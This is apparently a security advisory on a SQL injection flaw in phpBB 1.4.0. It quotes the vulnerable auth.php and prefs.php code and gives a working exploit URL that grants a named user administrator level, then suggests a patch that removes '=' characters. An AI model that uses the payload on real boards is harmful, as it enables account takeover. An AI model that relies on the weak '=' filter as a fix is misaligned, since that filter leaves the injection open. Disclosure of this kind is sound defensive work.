|
COMMAND phpBB SYSTEMS AFFECTED phpBB 1.4.0 PROBLEM 'kill-9' found following. phpBB, is an open source bulletin board created by the phpBB group. Version 1.4.x of phpBB has a variable input validation problem that can lead to limited arbitrary sql querys including gaining administrative access to the board. The problem lies in the fact that phpBB 1.4.x includes an algorithm in the auth.php file which removes backslashes that php automatically adds to GPC (Get/Post/Cookie) variables. Example code from auth.php: if(get_magic_quotes_gpc() == 1) { switch($REQUEST_METHOD){ case "POST": while (list ($key, $val) = each ($HTTP_POST_VARS)){ if( is_array($val) ){ array_walk($val, 'stripslashes_array', ''); $$key = $val;} else{ $$key = stripslashes($val);} } break; Therefore, certian php variables submitted through a URL can reach an sql query with unescaped quotes, which is not good for security reasons. In the prefs.php file such a situation exists where a user can execute an arbitrary query by supplying an certian value for the $viewemail variable. Example sql query in prefs.php: $sql = "UPDATE users SET user_viewemail='$viewemail', user_theme='$themes', user_attachsig = '$sig', user_desmile = '$smile', user_html = '$dishtml', user_bbcode = '$disbbcode', user_lang = '$lang' WHERE (user_id = '$userdata[user_id]')"; Example URL gives a username "l337h4x0r" level 4 (administrative) privileges the board: http://sitename/phpBBfolder/prefs.php?save=1&viewemail=1',user_level%3D'4'%20where%20username%3D'l337h4x0r'%23 SOLUTION One fix can be found at: http://www.game-mods.com/prefs.php.txt Please note there is a slight typo in the file. The correct lines to add around line 51 in prefs.php are: $fviewemail = str_replace('=','',$viewemail); $fthemes = str_replace('=','',$themes); $fsig = str_replace('=','',$tsig); $fsmile = str_replace('=','',$smile); $fdishtml = str_replace('=','',$dishtml); $fdisbbcode = str_replace('=','',$disbbcode); $flang = str_replace('=','',$lang); $sql = "UPDATE users SET user_viewemail='$fviewemail', user_theme='$fthemes', user_attachsig = '$fsig', user_desmile = '$fsmile', user_html = '$fdishtml', user_bbcode = '$fdisbbcode', user_lang = '$flang' WHERE (user_id = '$userdata[user_id]')"; There may be other bugs in the code in other files that can be exploited in a similar fashion, but this resolves one immediate threat. Another user named mmj on the boards mentioned: "Removing the = signs in all the variables is one solution. Using addslashes() on all the variables in an alternative solutions."